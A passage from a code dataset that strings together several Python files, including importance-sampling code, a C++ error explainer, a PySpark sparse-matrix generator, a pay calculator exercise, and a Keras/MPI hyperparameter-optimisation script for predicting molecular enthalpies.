self.ksig2 = ksig2\n self.thetasig2 = thetasig2\n self.klambda = klambda\n self.thetalambda = thetalambda\n self.bridge = bridge\n self.sig2_known = sig2 != None\n self.lamb_known = lamb != None\n\n def mv_gaussian(self, X, Y):\n\n self.X_ = X\n self.y_ = Y\n self.n, self.p = X.shape\n if self.nugget == None and np.all(np.linalg.eigvals(X.T.dot(X)) > 0):\n self.nugget = 0\n elif self.nugget == None :\n nugmin = -4\n while not np.all(np.linalg.eigvals(X.T.dot(X)+10**nugmin *np.eye(self.p)) > 0):\n nugmin +=1\n self.nugget = 10**nugmin\n C = np.linalg.cholesky(X.T.dot(X)+self.nugget*np.eye(self.p))\n Cmean = scipy.linalg.solve_triangular(C, X.T.dot(Y), lower = True)\n if not self.sig2_known :\n Yz = Y.T.dot(Y) - Cmean.T.dot(Cmean)\n a = self.ksig2 + 0.5*(self.n-self.p) if self.bridge else self.ksig2+0.5*self.n\n self.sig2 = invgamma.rvs(a = a, scale = self.thetasig2+0.5*Yz, size = self.N)\n self.beta = np.empty((self.N, self.p))\n mean = scipy.linalg.solve_triangular(C.T, Cmean, lower = False)\n if not self.lamb_known :\n self.lamb = np.empty(self.N)\n for i in range(self.N):\n z = np.random.randn(self.p)\n Cvar = scipy.linalg.solve_triangular(C.T, z, lower = False)\n sig_ = self.sig2 if self.sig2_known else self.sig2[i]\n self.beta[i, :] = (mean+np.sqrt(sig_)*Cvar) \n if not self.lamb_known : \n b_ = 1 if self.bridge else 1/np.sqrt(sig_) \n self.lamb[i] = gamma.rvs(a = self.klambda + self.p/self.alpha,\n scale = 1/(self.thetalambda+b_*np.sum(np.abs(self.beta[i, :])**self.alpha)), size = 1)\n return(self)\n\n def weight(self):\n \n lw = np.empty(self.N)\n for i in range(self.N):\n zi = np.abs(self.beta[i, :])\n sig_ = self.sig2 if self.sig2_known else self.sig2[i]\n bi_ = 1 if self.bridge else np.sqrt(sig_)\n if self.lamb_known :\n lw[i] = -self.lamb * np.sum(zi**self.alpha)/bi_ + 0.5*self.nugget * np.linalg.norm(self.beta[i, :], ord = 2)**2 /sig_\n else :\n lw[i] = -(self.p/self.alpha+self.klambda)*np.log(self.thetalambda+np.sum(zi)/bi_) + 0.5*self.nugget*np.linalg.norm(self.beta[i, :], ord = 2)**2 /sig_\n self.w = np.exp(lw - np.max(lw))\n self.w /= np.sum(self.w)\n self.ess = np.sum(self.w)**2 / np.sum(self.w**2)\n return(self)\n\n","sub_path":"importance/importance_sampling.py","file_name":"importance_sampling.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"603750353","text":"\"\"\"explainerr -- explain C++ compilation errors.\"\"\"\nimport collections\n\nfrom .explainers import EXPLAINERS\nfrom .messages import NoAdviceMessage\n\n\ndef explain(lines):\n \"\"\"Provide an explanation of the given error message.\n\n :param list lines: Each line in the compiler error message.\n :returns list: A list of `Annotation`s.\n \"\"\"\n annotations = []\n for i, line in enumerate(lines):\n message = None\n if \"error:\" in line or \"warning:\" in line:\n message = get_explanation(i, lines)\n\n annotations.append(Annotation(line=line, message=message))\n return annotations\n\n\nAnnotation = collections.namedtuple(\"Annotation\", [\n \"line\",\n \"message\"\n])\n\"\"\"An annotated line of the error message.\n\n:ivar str line: The original line in the error message. This may end with a\n newline character.\n:ivar str message: A message deriving from `explainerr.messages.BaseMessage`,\n or `None` if there was no message for this line.\n\"\"\"\n\n\ndef get_explanation(i, lines):\n \"\"\"Try to explain the error on a specific line.\n\n :param int i: The index of the line to look at.\n :param list lines: All of the lines in the error output.\n :returns explainerr.messages.BaseMessage: A message derived from\n `explainerr.messages.BaseMessage`.\n \"\"\"\n for func in EXPLAINERS:\n explanation = func(i, lines)\n if explanation:\n return explanation\n return NoAdviceMessage()\n","sub_path":"explainerr/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"381776046","text":"import pyspark\nimport numpy as np\n \ndef Sparse(l,s):\n # from a given list l assign values to tuples with\n # sparsity s\n \n list_len = len(l)\n # number of non-zero elements\n n_sparse = np.round(s*list_len)\n \n if list_len != 0:\n l_tuples = np.random.choice(list_len,size=int(n_sparse),replace=False)\n result = []\n for i in range(list_len):\n if i in l_tuples:\n val = np.random.rand()\n result.append((l[i][0],l[i][1],val))\n return(result)\n \n else:\n return([])\n \n \ndef generate(size_n,size_m,spars,num_part):\n # generate square matrices of given size and sparsity\n \n matrix = sc.parallelize(range(size_n))\n matrix = matrix.flatMap(lambda x: [(x,i) for i in range(size_m)])\n \n # num_part should be big enough for the size of your matrix\n # to get small lists in glom\n matrix = matrix.repartition(num_part).glom()\n \n matrix = matrix.flatMap(lambda x: Sparse(list(x),spars))\n \n return(matrix)\n \n \nif __name__ == '__main__' :\n sc = pyspark.SparkContext()\n \n matrixA = generate(250,125,0.25,5).map(lambda x: \"A,%s,%s,%s\" % (x[0],x[1],x[2]))\n matrixB = generate(125,250,0.25,5).map(lambda x: \"B,%s,%s,%s\" % (x[0],x[1],x[2]))\n \n matrix = matrixA.union(matrixB)\n matrix.saveAsTextFile(\"hdfs:///home/user/hadoop/wc/input/matrix_250\")","sub_path":"matrix_generator_2.py","file_name":"matrix_generator_2.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"130361745","text":"from ImageProcess.PrepareFrames.YImage import YImage\n\n\nclass ScoreNumbers:\n\tdef __init__(self, scale):\n\t\tself.score_images = []\n\t\tscoreprefix = \"-\"\n\t\tscore_x = scoreprefix + \"x\"\n\t\tscore_percent = scoreprefix + \"percent\"\n\t\tscore_dot = scoreprefix + \"dot\"\n\t\tfor x in range(10):\n\t\t\tself.score_images.append(YImage(scoreprefix + str(x), scale, prefix=\"ScorePrefix\"))\n\n\t\tself.score_percent = YImage(score_percent, scale, prefix=\"ScorePrefix\")\n\n\t\tself.score_dot = YImage(score_dot, scale, prefix=\"ScorePrefix\")\n\n\t\tself.combo_images = []\n\t\tfor x in range(10):\n\t\t\tself.combo_images.append(YImage(scoreprefix + str(x), scale, prefix=\"ComboPrefix\"))\n\t\tself.combo_x = YImage(score_x, scale, prefix=\"ComboPrefix\")\n","sub_path":"src/ImageProcess/Objects/Scores/ScoreNumbers.py","file_name":"ScoreNumbers.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"454223315","text":"def computePay(hours,rate):\n\ttry:\n\t\thours=float(hours)\n\t\trate=float(rate)\n\t\tif (hours > 40):\n\t\t\textra=hours - 40\n\t\t\tpay = (40 * rate) + (extra * (1.5 * rate))\n\t\telse:\n\t\t\tpay = hours * rate\n\t\tprint(\"Pay: \"+ str(pay))\n\texcept:\n\t\tprint(\"Error, please enter numeric input\")\n\ncomputePay(40,10)\ncomputePay(45,10)\ncomputePay(\"cd\",10)\ncomputePay(50,\"xx\")","sub_path":"Exercise4_6.py","file_name":"Exercise4_6.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"433941676","text":"import blackbox as bb\nimport sys\nimport gc as garbage\n\ndef CV(parameter, numrdf, numadf, categorized_num_atoms, distinct_singlet_index, distinct_pairs_index,\n structs, categorized_num_structs, target, kf, struct_list, model, coeff_flag, r_cutoff, flag = 'random',\n num_epochs_fold = 10, period = 250, decay_factor = 3, base_learning_rate = .001):\n '''\n This function takes in a path, hyper-parameters, number of splits (folds), and a 'flag' which\n indicates whether or not to perform random cross-validation and then performs random cross-validation\n on the data contained in 'my_path'. The final output is normalized mean-square error.\n '''\n from numpy import mean\n from train import train\n from predict import predict\n from after_hp_opt import after_hp_opt\n from before_hp_opt import get_model_ls as gml\n from keras.optimizers import RMSprop\n\n\n print_count = 0\n\n # -- create optimizer to get learning rate from it in train.py\n opt = RMSprop(lr=base_learning_rate)\n\n # -- check to make sure num_rdf and num_adf are correct\n if abs(len(parameter) - (2*numadf+2*numrdf)) > 1:\n raise ValueError(\"Input incorrect value for number of symmetry functions\")\n\n # -- create copies of blank model so that in each fold a new model is trained_model\n model_ls = gml(blank_model=model, num_splits=kf.get_n_splits(list(range(0, sum(categorized_num_structs)))))\n\n print_count += 1\n print('\\nhere CV %s' % (print_count))\n sys.stdout.flush()\n\n inputs2, outputs = after_hp_opt(parameter, numrdf, numadf, categorized_num_atoms, distinct_singlet_index,\n distinct_pairs_index, r_cutoff, structs, categorized_num_structs, target, coeff_flag)\n\n print_count += 1\n print('\\nhere CV %s' % (print_count))\n sys.stdout.flush()\n\n if flag == 'random':\n training_loss_ls = []\n target_ls = []\n pred_ls = []\n error_holdout_ls = []\n count = 0\n for train_inds, test_inds in kf.split(list(range(0, sum(categorized_num_structs)))):\n # -- train model on structural info of training data\n print('\\n Fold:', count + 1)\n print('\\n ...Training Indices:', train_inds)\n print('\\n ...Testing Indices:', test_inds)\n sys.stdout.flush()\n\n (trained_model, mean_optimal_training_loss, struct_array, norm_inputs, outputs, norm_outputs, H_bar, output_stdev) = train(\n model_ls[count], inputs2, outputs, struct_list, opt, numrdf, numadf, categorized_num_atoms,\n num_epochs_fold, period, decay_factor, train_inds)\n training_loss_ls.append(mean_optimal_training_loss)\n\n print_count += 1\n print('\\nhere CV %s' % (print_count))\n sys.stdout.flush()\n\n # -- test model on structural info of hold-out data\n (pred, target, error) = predict(trained_model, struct_array, test_inds, norm_inputs, norm_outputs, numrdf, numadf, None, H_bar, output_stdev)\n pred_ls.append(pred)\n target_ls.append(target)\n error_holdout_ls.append(error)\n count += 1\n\n print(\"\\n pred_ls:\", pred_ls)\n print(\"\\n target_ls:\", target_ls)\n print(\"\\n mae averaged over each fold:\", mean(error_holdout_ls))\n sys.stdout.flush()\n\n return mean(error_holdout_ls)\n\ndef training(parameter, numrdf, numadf, categorized_num_atoms, distinct_singlet_index, distinct_pairs_index,\n structs, categorized_num_structs, target, kf, struct_list, model, coeff_flag, r_cutoff, mol_type, dump_folder_path, flag = 'random',\n num_epochs_fold = 10, period = 250, decay_factor = 3, base_learning_rate = .001):\n from numpy import mean\n from train import train\n from predict import predict\n from after_hp_opt import after_hp_opt\n from before_hp_opt import get_model_ls as gml\n from keras.optimizers import RMSprop\n\n print_count = 0\n\n # -- create optimizer to get learning rate from it in train.py\n opt = RMSprop(lr=base_learning_rate)\n\n # -- check to make sure num_rdf and num_adf are correct\n if abs(len(parameter) - (2*numadf+2*numrdf)) > 1:\n raise ValueError(\"Input incorrect value for number of symmetry functions\")\n\n print_count += 1\n print('\\nhere CV %s' % (print_count))\n sys.stdout.flush()\n\n inputs2, outputs = after_hp_opt(parameter, numrdf, numadf, categorized_num_atoms, distinct_singlet_index,\n distinct_pairs_index, r_cutoff, structs, categorized_num_structs, target, coeff_flag, mol_type)\n\n (trained_model, mean_optimal_training_loss, struct_array, inputs, outputs, norm_outputs, H_bar, output_stdev) = train(\n model, inputs2, outputs, struct_list, opt, numrdf, numadf, categorized_num_atoms, mol_type, dump_folder_path, parameter,\n num_epochs_fold, period, decay_factor)\n\n return mean_optimal_training_loss\n\ndef test_CV():\n from random import seed\n seed(0)\n '''\n This function is a test case for CV to ensure that there are no bugs\n '''\n num_total = 9\n my_path = '/Users/rgurnani96/Documents/Asta_Research/CHONF_Data/trial_structs/xyz_files/'\n parameter = [ 0.00000000e+00, 0.00000000e+00, 1.00000000e+00,\n 1.00000000e+00, 1.00000000e+00, 8.70450000e-01,\n 2.00000000e-01, 3.06120000e-01, 2.00000000e-01,\n 9.43210000e-01, 1.00000000e+00, 7.75760000e-01,\n 4.26000000e-18, 3.89190000e-17, 3.82670000e-01,\n 1.00000000e+00, 0.00000000e+00, 1.47870000e-01,\n 3.00000000e-02, 3.00000000e-02, 3.00000000e-02,\n 1.00000000e+00, 3.00000000e-02, 2.62480000e-01,\n 7.38610000e-03]\n dump_folder_name = 'test1'\n CV(num_total, my_path, parameter, dump_folder_name, 6, 6, num_epochs_fold = 100, flag = 'random', splits = 3)\n\ndef wrapper(par, structs, categorized_num_atoms, categorized_num_structs, target, dump_folder_path, coeff_flag,\n kf, mol_type):\n\n if not dump_folder_path.endswith(\"/\"):\n dump_folder_path += \"/\"\n\n from numpy import array\n from json import load as jload\n from pickle import load as pload\n from keras.models import load_model\n from sklearn.model_selection import KFold\n\n print(\"I am here in wrapper\")\n sys.stdout.flush()\n\n #N1 = 10\n par = array(par)\n\n # -- Load files\n with open(dump_folder_path+'data.json', 'r') as fp:\n data = jload(fp)\n # with open(dump_folder_path+'categorized_energy.pickle', 'rb') as handle:\n # target = pload(handle)\n # # with open(dump_folder_path+'categorized_info.pickle', 'rb') as handle:\n # # structs = pload(handle)\n # with open(dump_folder_path+'num_atoms_categories.pickle', 'rb') as handle:\n # categorized_num_atoms = pload(handle)\n # with open(dump_folder_path+'categorized_num_structs.pickle', 'rb') as handle:\n # categorized_num_structs = pload(handle)\n\n with open(dump_folder_path+'struct_list.pickle', 'rb') as handle:\n struct_list = pload(handle)\n\n count = 0\n print('\\nhere wrapper %s' % (count))\n sys.stdout.flush()\n\n # -- load blank model from disk\n model = {}\n for num_atoms in (categorized_num_atoms+[1]):\n model[num_atoms] = load_model(dump_folder_path+coeff_flag+\"_model_%s.h5\" % num_atoms)\n\n count += 1\n print('\\nhere wrapper %s' % (count))\n sys.stdout.flush()\n\n # -- unpack variables from data.json\n num_rdf = data['num_rdf']\n num_adf = data['num_adf']\n distinct_singlet_index = data['distinct_singlet_index']\n distinct_pairs_index = data['distinct_pairs_index']\n r_cutoff = data['r_cutoff']\n num_epochs_fold = data['num_epochs_fold']\n\n # -- check to see if par includes cutoff radius\n if len(par) % 2 != 0:\n cutoff = par[-1]\n loss = training(par, num_rdf, num_adf, categorized_num_atoms, distinct_singlet_index, distinct_pairs_index, structs,\n categorized_num_structs, target, kf, struct_list, model, r_cutoff=cutoff, flag='random',\n num_epochs_fold=num_epochs_fold, coeff_flag=coeff_flag, mol_type=mol_type, dump_folder_path=dump_folder_path)\n else:\n loss = training(par, num_rdf, num_adf, categorized_num_atoms, distinct_singlet_index, distinct_pairs_index, structs,\n categorized_num_structs, target, kf, struct_list, model, r_cutoff=r_cutoff, flag='random',\n num_epochs_fold=num_epochs_fold, coeff_flag=coeff_flag, mol_type=mol_type, dump_folder_path=dump_folder_path)\n\n return loss\n\ndef optimize(dump_folder_path, r_cutoff, batch, num_rdf, num_adf, n_splits, info, n, m,\n categorized_num_atoms, categorized_num_structs, target, mol_type, num_epochs, period, coeff_flag = 'jay'):\n\n range_rdf_means = [0., 1.]\n range_rdf_widths = [0.2, 1.]\n range_adf_means = [0., 1.]\n range_adf_widths = [0.03, 1.]\n N1 = 10\n\n #from CHONF_process import process_all\n from pickle import load, HIGHEST_PROTOCOL\n from json import dump as jdump\n from pickle import dump as pdump\n from before_hp_opt import get_struct_list as gsl\n from generate_channels import generate_channels\n from sklearn.model_selection import KFold\n from keras.layers import Dense, Input\n from before_hp_opt import get_compiled_Model_SC as gcM\n from keras.models import model_from_json\n from get_final_model import get_final_model as gfm\n from predict import predict\n from numpy import array\n from genParString import genParString\n\n element_list = [\"C\", \"H\", \"N\", \"O\", \"F\"]\n (distinct_singlet_index, distinct_pairs_index) = generate_channels(element_list)\n\n # -- generate list of tuples (num_atoms,category_ind,internal_ind and shuffle and use to do shuffled online training.)\n struct_list = gsl(categorized_num_atoms=categorized_num_atoms, categorized_num_structs=categorized_num_structs)\n\n # -- create blank model\n inputs = [None] * categorized_num_atoms[-1]\n for i in range(0,categorized_num_atoms[-1]):\n inputs[i] =Input(shape=(num_rdf+num_adf+len(mol_type),))\n\n # -- dense hidden layers with N number of nodes\n x_1a = Dense(N1, activation='tanh')\n x_2 = Dense(1)\n\n # -- stacking the hidden layers\n y=[None]*categorized_num_atoms[-1]\n for i in range(0,categorized_num_atoms[-1]):\n y[i] = x_2(x_1a(inputs[i]))\n\n # -- compile and save model to disk\n count = 0\n gcM(y=y, inputs=inputs, categorized_num_atoms=categorized_num_atoms, dump_path=dump_folder_path, model_tag=coeff_flag+\"_\")\n\n count += 1\n print('\\nhere %s' % (count))\n\n # -- store variables into dictionary to be saved in JSON\n data = {'num_rdf': num_rdf, 'num_adf': num_adf, 'distinct_singlet_index': distinct_singlet_index, 'r_cutoff': r_cutoff,\n 'distinct_pairs_index': distinct_pairs_index, 'num_epochs_fold': num_epochs}\n\n # -- save variables to disk\n with open(dump_folder_path+'data.json', 'w') as fp:\n jdump(data, fp, indent=4)\n\n count += 1\n print('\\nhere %s' % (count))\n\n with open(dump_folder_path+'struct_list.pickle', 'wb') as handle:\n pdump(struct_list, handle, protocol=HIGHEST_PROTOCOL)\n\n count += 1\n print('\\nhere %s' % (count))\n\n # -- generate split\n kf = KFold(n_splits, shuffle=True)\n\n # -- find optimal Gaussian parameters\n (optimal_coeffs, min_loss) = bb.searchr(f=wrapper, # given function\n box=[range_rdf_means]*num_rdf+[range_rdf_widths]*num_rdf+ \\\n [range_adf_means]*num_adf+[range_adf_widths]*num_adf, # range of values for each parameter (2D case)\n n=n, # number of function calls on initial stage (global search)\n m=m, # number of function calls on subsequent stage (local search)\n batch=batch,\n resfile=dump_folder_path+'%s_%s_%s_%s_hyperopt.csv' % (num_adf, num_rdf, n, m), # text file where results will be saved\n structs=info,\n categorized_num_atoms=categorized_num_atoms,\n categorized_num_structs=categorized_num_structs,\n target=target,\n dump_folder_path=dump_folder_path,\n coeff_flag=coeff_flag,\n kf = kf,\n mol_type = mol_type\n )\n\n\n #load correct model\n par_string = genParString(optimal_coeffs)\n\n model = {}\n for ind, num_atoms in enumerate(categorized_num_atoms):\n json_file = open(dump_folder_path+'models/'+par_string+str(ind)+\".json\", 'r')\n loaded_model_json = json_file.read()\n json_file.close()\n loaded_model = model_from_json(loaded_model_json)\n loaded_model.load_weights(dump_folder_path+'models/'+par_string+str(ind)+\".h5\")\n print(\"Loaded model from disk\")\n model[num_atoms] = loaded_model\n\n test_inds = list(range(sum(categorized_num_structs)))\n\n (norm_outputs, norm_inputs, output_stdev, H_bar) = gfm(optimal_coeffs, dump_folder_path, info, categorized_num_atoms, categorized_num_structs, target,\n num_epochs, period, 0, 3, num_adf, num_rdf, #period, num_shuffle, decay_factor\n r_cutoff, coeff_flag, struct_list, mol_type)\n\n (pred, target, mae) = predict(model, array(struct_list), test_inds, norm_inputs, norm_outputs, num_rdf, num_adf, dump_folder_path, H_bar, output_stdev, mol_type)\n\n print(\"Prediction step mae:\", mae)\n print(\"BB search mae:\", min_loss)\n\n return (optimal_coeffs, min_loss)\n\ndef find_error(optimal_coeffs, dump_folder_path, num_epochs, structs, categorized_num_atoms, categorized_num_structs, n_shuffle, target,\n test_structs, test_categorized_num_atoms, test_categorized_num_structs, test_target, coeff_flag, struct_list, name, period=50):\n\n from get_final_model import get_final_model as gfm\n from after_hp_opt import mpi_after_hp_opt, after_hp_opt\n from predict import predict\n from numpy import array\n from pickle import load as pload\n from json import load as jload\n from before_hp_opt import get_struct_list as gsl\n from CHONF_process import struct2neighdistNangle_nearestN as atomic_info\n from numpy import array, mean, std, append\n\n print(\"\\n\", name, \"is here\")\n\n # -- load data\n with open(dump_folder_path+'data.json', 'r') as handle:\n data = jload(handle)\n\n # -- unpack from data.json\n num_rdf = data['num_rdf']\n num_adf = data['num_adf']\n distinct_singlet_index = data['distinct_singlet_index']\n distinct_pairs_index = data['distinct_pairs_index']\n r_cutoff = data['r_cutoff']\n\n # -- generate final model with the optimal Gaussian parameters for all training data\n gfm(optimal_coeffs, dump_folder_path, structs, categorized_num_atoms, categorized_num_structs, target,\n num_epochs_final = num_epochs, num_shuffle=n_shuffle, period=period, decay_factor=3, numadf=num_adf, numrdf=num_rdf,\n r_cutoff=r_cutoff, coeff_flag=coeff_flag, struct_list=struct_list)\n\n test_inputs, target = after_hp_opt(optimal_coeffs, num_rdf, num_adf, test_categorized_num_atoms, distinct_singlet_index, distinct_pairs_index,\n r_cutoff, test_structs, test_categorized_num_structs, test_target, coeff_flag, name=None,\n dump_folder_path=dump_folder_path+'test/')\n\n struct_list = gsl(categorized_num_atoms=test_categorized_num_atoms, categorized_num_structs=test_categorized_num_structs)\n test_struct_array = array(struct_list)\n\n # -- get mean and stdev of test inputs\n input_arr = array([0.0] * (num_rdf+num_adf))\n for num_atoms, category_ind, internal_ind in test_struct_array:\n for atom_i in range(0, num_atoms):\n input_arr = append(input_arr, test_inputs[category_ind][atom_i][internal_ind], axis = 0)\n num_rows = int(len(input_arr) / (num_adf+num_rdf))\n input_arr = input_arr.reshape((num_rows, (num_adf+num_rdf)))\n input_means = mean(input_arr[1:][:], axis = 0)\n input_stdevs = std(input_arr[1:][:], axis = 0)\n\n # -- check for zeros in stdevs to avoid division by zero\n for descr_ind in range(0,num_rdf+num_adf):\n assert input_stdevs[descr_ind] != 0\n\n del input_arr\n garbage.collect()\n\n # -- normalize inputs\n for input_ind,input_single in enumerate(test_inputs):\n for atom_ind,_ in enumerate(input_single):\n test_inputs[input_ind][atom_ind] = (test_inputs[input_ind][atom_ind]-input_means)/input_stdevs\n\n sys.stdout.flush()\n\n norm_test_outputs = target\n\n # -- find average enthalpy contribution per atom\n H_bar = mean([target[category_ind][internal_ind] / num_atoms for num_atoms, category_ind, internal_ind in test_struct_array])\n\n # -- subtract H-bar from all test outputs\n for output_ind,output_single in enumerate(target):\n for struct_ind,_ in enumerate(output_single):\n norm_test_outputs[output_ind][struct_ind] = (target[output_ind][struct_ind] - H_bar)\n\n # -- find st. dev. of test outputs\n output_stdev = std([target[category_ind][internal_ind] for num_atoms, category_ind, internal_ind in test_struct_array])\n\n # -- divide each output by std. dev.\n for output_ind,output_single in enumerate(norm_test_outputs):\n for struct_ind,_ in enumerate(output_single):\n norm_test_outputs[output_ind][struct_ind] = norm_test_outputs[output_ind][struct_ind] / output_stdev\n\n from keras.models import load_model\n model = {}\n for ind, num_atoms in enumerate(categorized_num_atoms):\n if categorized_num_structs[ind] > 1:\n model[num_atoms] = load_model(dump_folder_path+coeff_flag+\"_final_model_%s.h5\" % num_atoms)\n\n pred, target, norm_mae = predict(model, array(struct_list), list(range(0, len(struct_list))), test_inputs,\n target, num_rdf, num_adf, dump_folder_path, H_bar, output_stdev)\n print(\"Final MAE:\", norm_mae)\n\ndef find_error_mpi(optimal_coeffs, dump_folder_path, num_epochs, structs, categorized_num_atoms, categorized_num_structs, n_shuffle, target,\n test_structs, test_categorized_num_atoms, test_categorized_num_structs, test_target, coeff_flag, name,\n names2ranks, grouped_ranks, master_ranks, helper_ranks, group0, group1, comm):\n\n from get_final_model import get_final_model as gfm\n from after_hp_opt import mpi_after_hp_opt\n from predict import predict\n from numpy import array\n from pickle import load as pload\n from json import load as jload\n from before_hp_opt import get_struct_list as gsl\n from CHONF_process import struct2neighdistNangle_nearestN as atomic_info\n\n print(\"\\n\", name, \"is here\")\n\n # -- load data\n with open(dump_folder_path+'data.json', 'r') as handle:\n data = jload(handle)\n\n # -- unpack from data.json\n num_rdf = data['num_rdf']\n num_adf = data['num_adf']\n distinct_singlet_index = data['distinct_singlet_index']\n distinct_pairs_index = data['distinct_pairs_index']\n r_cutoff = data['r_cutoff']\n\n # -- generate final model with the optimal Gaussian parameters for all training data\n if name in group0:\n print(\"\\n\", name, \"is here1\")\n gfm(optimal_coeffs, dump_folder_path, structs, categorized_num_atoms, categorized_num_structs, target,\n num_epochs_final = num_epochs, num_shuffle=n_shuffle, period=50, decay_factor=3, numadf=num_adf, numrdf=num_rdf,\n r_cutoff=r_cutoff, coeff_flag=coeff_flag, comm=comm, name=name, names2ranks=names2ranks)\n if name == 'master0':\n print(\"\\n\", name, \"is here2\")\n comm.send(\"done\", dest=names2ranks['master1'], tag=3)\n else:\n final_model = None\n\n if name in group1:\n print(\"\\n\", name, \"is here3\")\n struct_list = gsl(categorized_num_structs=test_categorized_num_structs, categorized_num_atoms=test_categorized_num_atoms)\n print(\"\\n\", name, \"is here4\")\n name_dict = {'master': 'master1', 'helper': 'master2'}\n test_inputs, target = mpi_after_hp_opt(optimal_coeffs, num_rdf, num_adf, test_categorized_num_atoms,\n distinct_singlet_index, distinct_pairs_index, r_cutoff, test_structs,\n test_categorized_num_structs, test_target, coeff_flag, name,\n comm, names2ranks, name_dict, dump_folder_path)\n\n print(\"\\n\", name, \"is here5\")\n if name == 'master1':\n from keras.models import load_model\n model = {}\n comm.recv(source=names2ranks['master0'], tag=3)\n print(\"\\n\", name, \"is here6\")\n for num_atoms in categorized_num_atoms:\n model[num_atoms] = load_model(dump_folder_path+coeff_flag+\"_final_model_%s.h5\" % num_atoms)\n print(\"\\n\", name, \"is here7\")\n pred, target, norm_mae = predict(model, array(struct_list), list(range(0, len(struct_list))), test_inputs,\n target, num_rdf, num_adf)\n print(\"Final MAE:\", norm_mae)\n\ndef test_find_error():\n from generate_channels import generate_channels\n optimal_coeffs = [.5, .25, .75, .5, .25, .5, .75, .75]\n num_rdf = 2\n num_adf = 2\n my_path = '/Users/rgurnani96/Documents/Asta_Research/CHONF_Data/trial_structs/xyz_files/'\n dump_folder_name = 'wrapper_test_1'\n dump_folder_path = my_path+'../'+dump_folder_name+'/'\n num_epochs = 10\n r_cutoff = 4.0\n num_splits = 3\n # -- generate channels to input to generateRDFADFcoeffs_gaussians\n element_list = [\"C\", \"H\", \"N\", \"O\", \"F\"]\n (distinct_singlet_index, distinct_pairs_index) = generate_channels(element_list)\n\n find_error(optimal_coeffs, dump_folder_path, num_splits, num_epochs, num_rdf, num_adf, distinct_singlet_index,\n distinct_pairs_index, r_cutoff)\n\ndef load_info(dump_folder_path, r_cutoff, train=True):\n from pickle import load\n import time\n from CHONF_process import struct2neighdistNangle_nearestN as atomic_info\n\n start = time.time()\n # -- Loading files...\n with open(dump_folder_path+'num_atoms_categories.pickle', 'rb') as handle:\n categorized_num_atoms = load(handle)\n with open(dump_folder_path+'categorized_num_structs.pickle', 'rb') as handle:\n categorized_num_structs = load(handle)\n with open(dump_folder_path+'struct_categorized.pickle', 'rb') as handle:\n struct_categorized = load(handle)\n with open(dump_folder_path+'categorized_energy.pickle', 'rb') as handle:\n target = load(handle)\n\n # -- get info\n try:\n with open(dump_folder_path+\"categorized_info.pickle\", \"rb\") as handle:\n info = load(handle)\n except:\n num_atom_categories = list(range(0, 26)) #categories for all structures\n if train:\n info = [[None] for i in range(26)]\n else:\n info = [[None] for i in range(11)] + [[None, None] for i in range(10)] + [None] + [[None, None]] + [[None] for i in range(3)]\n for category in num_atom_categories:\n try:\n with open(dump_folder_path+\"info%s.pickle\" % category, \"rb\") as handle:\n info[category] = load(handle)\n except:\n with open(dump_folder_path+\"info_dist%s.pickle\" % category, \"rb\") as handle:\n info[category][0] = load(handle)\n with open(dump_folder_path+\"info_angle%s.pickle\" % category, \"rb\") as handle:\n info[category][1] = load(handle)\n print(\"Time to finish category\", category, \":\", time.time() - start)\n\n\n return (info, categorized_num_atoms, categorized_num_structs, struct_categorized, target)\n\ndef run_job():\n\n from CHONF_process import mpi_process_all\n from mpi4py import MPI\n import time\n\n # -- must edit\n partial_dump_path = ''\n partial_path_to_xyz_files = ''\n coeff_flag = '' # either 'jay', 'vienna', or 'both'\n num_rdf = 0\n num_adf = 0\n\n # -- feel free to edit\n n_shuffles = 10\n r_cutoff = 8.0\n num_epochs_final = 250\n\n # -- do not edit\n comm = MPI.COMM_WORLD\n num_total = 10000\n both = False\n start = time.time()\n rank = comm.rank\n size = comm.size\n\n proc_name = MPI.Get_processor_name()\n procs_ranks = comm.allgather([rank, proc_name])\n rank_dict = {}\n\n for entry in procs_ranks:\n try:\n rank_dict[entry[1]].append(entry[0])\n except:\n rank_dict[entry[1]] = [entry[0]]\n\n names2ranks = {}\n for ind, processor in enumerate(list(rank_dict.keys())):\n if proc_name == processor:\n if rank == max(rank_dict[proc_name]):\n name = 'helper%s' % ind\n else:\n name = 'master%s' % ind\n names2ranks[name] == rank\n\n grouped_ranks = ['master0', 'helper0', 'master1', 'master2']\n master_ranks = ['master0', 'master1', 'master2']\n helper_ranks = ['helper0']\n group0 = ['master0', 'helper0']\n group1 = ['master1', 'master2']\n\n # -- Fixes paths if necessary\n if not partial_path_to_xyz_files.startswith(\"/\"):\n partial_path_to_xyz_files = \"/\" + partial_path_to_xyz_files\n path_to_xyz = '/home/rishi_gurnani/CHONF_data' + partial_path_to_xyz_files\n if not path_to_xyz.endswith(\"/\"):\n path_to_xyz += \"/\"\n if not partial_dump_path.startswith(\"/\"):\n partial_dump_path = \"/\" + partial_dump_path\n dump_folder_path = '/home/rishi_gurnani/jobs' + partial_dump_path\n if not dump_folder_path.endswith(\"/\"):\n dump_folder_path += \"/\"\n\n #mpi_process_all(comm, dump_folder_path)\n if name in group0 or rank == 0:\n (structs, categorized_num_atoms, categorized_num_structs, struct_categorized, target) = load_info(dump_folder_path, r_cutoff)\n else:\n structs = []\n categorized_num_atoms = []\n categorized_num_structs = []\n struct_categorized = []\n target = []\n\n if coeff_flag == 'both':\n both = True\n coeff_flag = 'jay'\n\n (optimal_coeffs, dump_folder_path, num_splits) = optimize(dump_folder_path, r_cutoff, num_total, num_rdf, num_adf, comm, structs,\n categorized_num_atoms, categorized_num_structs, target, coeff_flag=coeff_flag)\n # -- send optimal coeffs to the grouped ranks\n if rank == 0:\n for_grouped = optimal_coeffs\n for name in grouped_ranks:\n comm.isend(for_grouped, dest=names2ranks[name], tag=0)\n elif name in grouped_ranks:\n optimal_coeffs = comm.recv(source=0, tag=0)\n else:\n optimal_coeffs = None\n\n test_path = dump_folder_path + 